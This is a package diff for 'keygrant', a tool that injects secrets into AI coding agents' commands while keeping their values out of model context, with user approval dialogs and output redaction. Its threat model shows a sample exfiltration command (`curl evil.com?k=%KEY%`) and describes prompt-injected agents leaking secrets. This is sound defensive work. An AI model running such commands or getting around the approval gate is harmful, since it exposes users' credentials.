keygrant 0.1.0__tar.gz

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keygrant-0.1.0/LICENSE ADDED
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@@ -0,0 +1,122 @@
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+ Metadata-Version: 2.4
2
+ Name: keygrant
3
+ Version: 0.1.0
4
+ Summary: Per-command secret injection for AI coding agents — values never enter model context
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+ License: Apache-2.0
6
+ Project-URL: Homepage, https://keygrant.app
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+ Project-URL: Repository, https://github.com/bazingaedward/keygrant
8
+ Keywords: secrets,mcp,ai-agents,claude-code,security
9
+ Classifier: Development Status :: 3 - Alpha
10
+ Classifier: Environment :: Console
11
+ Classifier: Intended Audience :: Developers
12
+ Classifier: Operating System :: Microsoft :: Windows
13
+ Classifier: Operating System :: MacOS
14
+ Classifier: Programming Language :: Python :: 3
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+ Classifier: Topic :: Security
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+ Requires-Python: >=3.10
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+ Description-Content-Type: text/markdown
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+ License-File: LICENSE
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+ Dynamic: license-file
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+
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+ # keygrant
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+
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+ ![demo: agent requests a secret, user approves via native dialog, output comes back redacted](docs/demo.gif)
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+
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+ Per-command secret injection for AI coding agents. Secrets live in a local
26
+ DPAPI-encrypted vault; the model's context only ever sees secret **names** —
27
+ values are injected into the child process environment at exec time, and all
28
+ output is redacted before it returns to the model.
29
+
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+ **Why:** anything placed in an LLM's context can be exfiltrated (prompt
31
+ injection, logs, generated code). The fix is architectural: keys never enter
32
+ context, only the execution environment.
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+
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+ ## Components
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+
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+ - `keygrant.py` — vault + CLI
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+ - `keygrant set NAME [--desc TEXT]` — store a secret (value via stdin, never argv)
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+ - `keygrant list` / `rm NAME`
39
+ - `keygrant exec [--redact] NAMES -- CMD` — run CMD with secrets injected
40
+ - `keygrant revoke NAME|--all` — revoke active approval grants
41
+ - `keygrant init` — wire up a project (`.mcp.json` + `CLAUDE.md` guidance)
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+ - `keygrant_mcp.py` — MCP server (stdio JSON-RPC, zero deps)
43
+ - `list_secrets` — names/descriptions/usage only, never values
44
+ - `exec_with_secrets` — server-side exec with injection + forced output redaction
45
+ - deliberately **no** set/store tool: writing a value through the model would
46
+ put it in context; values enter out-of-band via the CLI only
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+
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+ ## Install
49
+
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+ ```bash
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+ uv tool install keygrant # or: pipx install keygrant
52
+ ```
53
+
54
+ Requires Python ≥ 3.10. macOS ships Python 3.9, so a bare `pip install`
55
+ there fails; `uv` fetches a suitable Python automatically.
56
+
57
+ Then, in each project where agents should use secrets:
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+
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+ ```bash
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+ keygrant init
61
+ ```
62
+
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+ `init` adds a `keygrant` entry to the project's `.mcp.json` (merging with any
64
+ existing servers) and appends usage guidance for the model to `CLAUDE.md`,
65
+ both idempotently. Restart Claude Code in that folder to load the server.
66
+
67
+ ## Threat model
68
+
69
+ **What this protects against:**
70
+
71
+ - *Context exfiltration* — a prompt-injected agent (or plain logging) leaking a
72
+ secret that sits in model context. Values never enter context: the model only
73
+ handles names; decryption and injection happen in the executing process.
74
+ - *Output leaks* — an agent echoing a secret back. All output returned to the
75
+ model is redacted, including base64, hex, and URL-encoded variants.
76
+ - *Grant riding* — one agent session reusing an approval made in another.
77
+ Grants are bound to the requesting session (MCP server id / CLI parent
78
+ process) and expire after 15 minutes.
79
+ - *Silent use* — every first use per session requires explicit user approval;
80
+ timeout means deny.
81
+
82
+ **What this does NOT protect against (known residual risks):**
83
+
84
+ - A compromised agent can request a command that exfiltrates the secret over
85
+ the network (`curl evil.com?k=%KEY%`). The approval dialog shows the full
86
+ command — reviewing it is the control. Per-secret egress allowlists (binding
87
+ a key to permitted destination hosts) are on the roadmap.
88
+ - Redaction is a second line of defense, not a guarantee: novel encodings can
89
+ evade it. The primary guarantee remains "values never enter context".
90
+ - Anything running as the same OS user can read the DPAPI vault. This tool
91
+ scopes *agent* access to secrets; it is not a defense against local malware.
92
+
93
+ ## Approval
94
+
95
+ Every use of a secret — via the CLI or the MCP server — requires the user's
96
+ approval through a native, topmost dialog (deny by default on a 60s timeout).
97
+ Approving grants access to that secret for **15 minutes**, bound to the
98
+ requesting session (tracked in `grants.json`); `keygrant revoke` withdraws a
99
+ grant early. Both channels go through the same gate, so an agent cannot bypass
100
+ MCP approval by shelling out to the CLI — and a grant approved for one session
101
+ cannot be reused by another. The dialog will be replaced by a resident tray
102
+ app with toast notifications; the grant semantics stay the same.
103
+
104
+ ## Storage
105
+
106
+ - **Windows**: values DPAPI-encrypted (per-user) inside
107
+ `%APPDATA%\keygrant\vault.json`
108
+ - **macOS**: values in the login Keychain (via the `security` CLI; the first
109
+ read triggers the OS Keychain permission prompt — an extra OS-level gate);
110
+ `~/.config/keygrant/vault.json` holds metadata only
111
+ - **Linux**: values in the Secret Service keyring via `secret-tool`
112
+ (libsecret-tools + a running keyring daemon; approval dialogs need zenity);
113
+ the vault file holds metadata only
114
+
115
+ The vault file also records usage metadata (use count, last used) as the seed
116
+ of an audit trail.
117
+
118
+ ## Roadmap (prototype → product)
119
+
120
+ 1. Resident tray app (replaces the modal dialog; approval history, revoke UI)
121
+ 2. Per-secret egress allowlists (bind a key to permitted destination hosts)
122
+ 3. Optional cloud sync for teams (zero-knowledge: server stores ciphertext only)
@@ -0,0 +1,102 @@
1
+ # keygrant
2
+
3
+ ![demo: agent requests a secret, user approves via native dialog, output comes back redacted](docs/demo.gif)
4
+
5
+ Per-command secret injection for AI coding agents. Secrets live in a local
6
+ DPAPI-encrypted vault; the model's context only ever sees secret **names** —
7
+ values are injected into the child process environment at exec time, and all
8
+ output is redacted before it returns to the model.
9
+
10
+ **Why:** anything placed in an LLM's context can be exfiltrated (prompt
11
+ injection, logs, generated code). The fix is architectural: keys never enter
12
+ context, only the execution environment.
13
+
14
+ ## Components
15
+
16
+ - `keygrant.py` — vault + CLI
17
+ - `keygrant set NAME [--desc TEXT]` — store a secret (value via stdin, never argv)
18
+ - `keygrant list` / `rm NAME`
19
+ - `keygrant exec [--redact] NAMES -- CMD` — run CMD with secrets injected
20
+ - `keygrant revoke NAME|--all` — revoke active approval grants
21
+ - `keygrant init` — wire up a project (`.mcp.json` + `CLAUDE.md` guidance)
22
+ - `keygrant_mcp.py` — MCP server (stdio JSON-RPC, zero deps)
23
+ - `list_secrets` — names/descriptions/usage only, never values
24
+ - `exec_with_secrets` — server-side exec with injection + forced output redaction
25
+ - deliberately **no** set/store tool: writing a value through the model would
26
+ put it in context; values enter out-of-band via the CLI only
27
+
28
+ ## Install
29
+
30
+ ```bash
31
+ uv tool install keygrant # or: pipx install keygrant
32
+ ```
33
+
34
+ Requires Python ≥ 3.10. macOS ships Python 3.9, so a bare `pip install`
35
+ there fails; `uv` fetches a suitable Python automatically.
36
+
37
+ Then, in each project where agents should use secrets:
38
+
39
+ ```bash
40
+ keygrant init
41
+ ```
42
+
43
+ `init` adds a `keygrant` entry to the project's `.mcp.json` (merging with any
44
+ existing servers) and appends usage guidance for the model to `CLAUDE.md`,
45
+ both idempotently. Restart Claude Code in that folder to load the server.
46
+
47
+ ## Threat model
48
+
49
+ **What this protects against:**
50
+
51
+ - *Context exfiltration* — a prompt-injected agent (or plain logging) leaking a
52
+ secret that sits in model context. Values never enter context: the model only
53
+ handles names; decryption and injection happen in the executing process.
54
+ - *Output leaks* — an agent echoing a secret back. All output returned to the
55
+ model is redacted, including base64, hex, and URL-encoded variants.
56
+ - *Grant riding* — one agent session reusing an approval made in another.
57
+ Grants are bound to the requesting session (MCP server id / CLI parent
58
+ process) and expire after 15 minutes.
59
+ - *Silent use* — every first use per session requires explicit user approval;
60
+ timeout means deny.
61
+
62
+ **What this does NOT protect against (known residual risks):**
63
+
64
+ - A compromised agent can request a command that exfiltrates the secret over
65
+ the network (`curl evil.com?k=%KEY%`). The approval dialog shows the full
66
+ command — reviewing it is the control. Per-secret egress allowlists (binding
67
+ a key to permitted destination hosts) are on the roadmap.
68
+ - Redaction is a second line of defense, not a guarantee: novel encodings can
69
+ evade it. The primary guarantee remains "values never enter context".
70
+ - Anything running as the same OS user can read the DPAPI vault. This tool
71
+ scopes *agent* access to secrets; it is not a defense against local malware.
72
+
73
+ ## Approval
74
+
75
+ Every use of a secret — via the CLI or the MCP server — requires the user's
76
+ approval through a native, topmost dialog (deny by default on a 60s timeout).
77
+ Approving grants access to that secret for **15 minutes**, bound to the
78
+ requesting session (tracked in `grants.json`); `keygrant revoke` withdraws a
79
+ grant early. Both channels go through the same gate, so an agent cannot bypass
80
+ MCP approval by shelling out to the CLI — and a grant approved for one session
81
+ cannot be reused by another. The dialog will be replaced by a resident tray
82
+ app with toast notifications; the grant semantics stay the same.
83
+
84
+ ## Storage
85
+
86
+ - **Windows**: values DPAPI-encrypted (per-user) inside
87
+ `%APPDATA%\keygrant\vault.json`
88
+ - **macOS**: values in the login Keychain (via the `security` CLI; the first
89
+ read triggers the OS Keychain permission prompt — an extra OS-level gate);
90
+ `~/.config/keygrant/vault.json` holds metadata only
91
+ - **Linux**: values in the Secret Service keyring via `secret-tool`
92
+ (libsecret-tools + a running keyring daemon; approval dialogs need zenity);
93
+ the vault file holds metadata only
94
+
95
+ The vault file also records usage metadata (use count, last used) as the seed
96
+ of an audit trail.
97
+
98
+ ## Roadmap (prototype → product)
99
+
100
+ 1. Resident tray app (replaces the modal dialog; approval history, revoke UI)
101
+ 2. Per-secret egress allowlists (bind a key to permitted destination hosts)
102
+ 3. Optional cloud sync for teams (zero-knowledge: server stores ciphertext only)
@@ -0,0 +1,122 @@
1
+ Metadata-Version: 2.4
2
+ Name: keygrant
3
+ Version: 0.1.0
4
+ Summary: Per-command secret injection for AI coding agents — values never enter model context
5
+ License: Apache-2.0
6
+ Project-URL: Homepage, https://keygrant.app
7
+ Project-URL: Repository, https://github.com/bazingaedward/keygrant
8
+ Keywords: secrets,mcp,ai-agents,claude-code,security
9
+ Classifier: Development Status :: 3 - Alpha
10
+ Classifier: Environment :: Console
11
+ Classifier: Intended Audience :: Developers
12
+ Classifier: Operating System :: Microsoft :: Windows
13
+ Classifier: Operating System :: MacOS
14
+ Classifier: Programming Language :: Python :: 3
15
+ Classifier: Topic :: Security
16
+ Requires-Python: >=3.10
17
+ Description-Content-Type: text/markdown
18
+ License-File: LICENSE
19
+ Dynamic: license-file
20
+
21
+ # keygrant
22
+
23
+ ![demo: agent requests a secret, user approves via native dialog, output comes back redacted](docs/demo.gif)
24
+
25
+ Per-command secret injection for AI coding agents. Secrets live in a local
26
+ DPAPI-encrypted vault; the model's context only ever sees secret **names** —
27
+ values are injected into the child process environment at exec time, and all
28
+ output is redacted before it returns to the model.
29
+
30
+ **Why:** anything placed in an LLM's context can be exfiltrated (prompt
31
+ injection, logs, generated code). The fix is architectural: keys never enter
32
+ context, only the execution environment.
33
+
34
+ ## Components
35
+
36
+ - `keygrant.py` — vault + CLI
37
+ - `keygrant set NAME [--desc TEXT]` — store a secret (value via stdin, never argv)
38
+ - `keygrant list` / `rm NAME`
39
+ - `keygrant exec [--redact] NAMES -- CMD` — run CMD with secrets injected
40
+ - `keygrant revoke NAME|--all` — revoke active approval grants
41
+ - `keygrant init` — wire up a project (`.mcp.json` + `CLAUDE.md` guidance)
42
+ - `keygrant_mcp.py` — MCP server (stdio JSON-RPC, zero deps)
43
+ - `list_secrets` — names/descriptions/usage only, never values
44
+ - `exec_with_secrets` — server-side exec with injection + forced output redaction
45
+ - deliberately **no** set/store tool: writing a value through the model would
46
+ put it in context; values enter out-of-band via the CLI only
47
+
48
+ ## Install
49
+
50
+ ```bash
51
+ uv tool install keygrant # or: pipx install keygrant
52
+ ```
53
+
54
+ Requires Python ≥ 3.10. macOS ships Python 3.9, so a bare `pip install`
55
+ there fails; `uv` fetches a suitable Python automatically.
56
+
57
+ Then, in each project where agents should use secrets:
58
+
59
+ ```bash
60
+ keygrant init
61
+ ```
62
+
63
+ `init` adds a `keygrant` entry to the project's `.mcp.json` (merging with any
64
+ existing servers) and appends usage guidance for the model to `CLAUDE.md`,
65
+ both idempotently. Restart Claude Code in that folder to load the server.
66
+
67
+ ## Threat model
68
+
69
+ **What this protects against:**
70
+
71
+ - *Context exfiltration* — a prompt-injected agent (or plain logging) leaking a
72
+ secret that sits in model context. Values never enter context: the model only
73
+ handles names; decryption and injection happen in the executing process.
74
+ - *Output leaks* — an agent echoing a secret back. All output returned to the
75
+ model is redacted, including base64, hex, and URL-encoded variants.
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+ - *Grant riding* — one agent session reusing an approval made in another.
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+ Grants are bound to the requesting session (MCP server id / CLI parent
78
+ process) and expire after 15 minutes.
79
+ - *Silent use* — every first use per session requires explicit user approval;
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+ timeout means deny.
81
+
82
+ **What this does NOT protect against (known residual risks):**
83
+
84
+ - A compromised agent can request a command that exfiltrates the secret over
85
+ the network (`curl evil.com?k=%KEY%`). The approval dialog shows the full
86
+ command — reviewing it is the control. Per-secret egress allowlists (binding
87
+ a key to permitted destination hosts) are on the roadmap.
88
+ - Redaction is a second line of defense, not a guarantee: novel encodings can
89
+ evade it. The primary guarantee remains "values never enter context".
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+ - Anything running as the same OS user can read the DPAPI vault. This tool
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+ scopes *agent* access to secrets; it is not a defense against local malware.
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+
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+ ## Approval
94
+
95
+ Every use of a secret — via the CLI or the MCP server — requires the user's
96
+ approval through a native, topmost dialog (deny by default on a 60s timeout).
97
+ Approving grants access to that secret for **15 minutes**, bound to the
98
+ requesting session (tracked in `grants.json`); `keygrant revoke` withdraws a
99
+ grant early. Both channels go through the same gate, so an agent cannot bypass
100
+ MCP approval by shelling out to the CLI — and a grant approved for one session
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+ cannot be reused by another. The dialog will be replaced by a resident tray
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+ app with toast notifications; the grant semantics stay the same.
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+
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+ ## Storage
105
+
106
+ - **Windows**: values DPAPI-encrypted (per-user) inside
107
+ `%APPDATA%\keygrant\vault.json`
108
+ - **macOS**: values in the login Keychain (via the `security` CLI; the first
109
+ read triggers the OS Keychain permission prompt — an extra OS-level gate);
110
+ `~/.config/keygrant/vault.json` holds metadata only
111
+ - **Linux**: values in the Secret Service keyring via `secret-tool`
112
+ (libsecret-tools + a running keyring daemon; approval dialogs need zenity);
113
+ the vault file holds metadata only
114
+
115
+ The vault file also records usage metadata (use count, last used) as the seed
116
+ of an audit trail.
117
+
118
+ ## Roadmap (prototype → product)
119
+
120
+ 1. Resident tray app (replaces the modal dialog; approval history, revoke UI)
121
+ 2. Per-secret egress allowlists (bind a key to permitted destination hosts)
122
+ 3. Optional cloud sync for teams (zero-knowledge: server stores ciphertext only)
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1
+ LICENSE
2
+ README.md
3
+ keygrant.py
4
+ keygrant_mcp.py
5
+ pyproject.toml
6
+ keygrant.egg-info/PKG-INFO
7
+ keygrant.egg-info/SOURCES.txt
8
+ keygrant.egg-info/dependency_links.txt
9
+ keygrant.egg-info/entry_points.txt
10
+ keygrant.egg-info/top_level.txt
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1
+ [console_scripts]
2
+ keygrant = keygrant:main
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+ keygrant-mcp = keygrant_mcp:main
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1
+ keygrant
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+ keygrant_mcp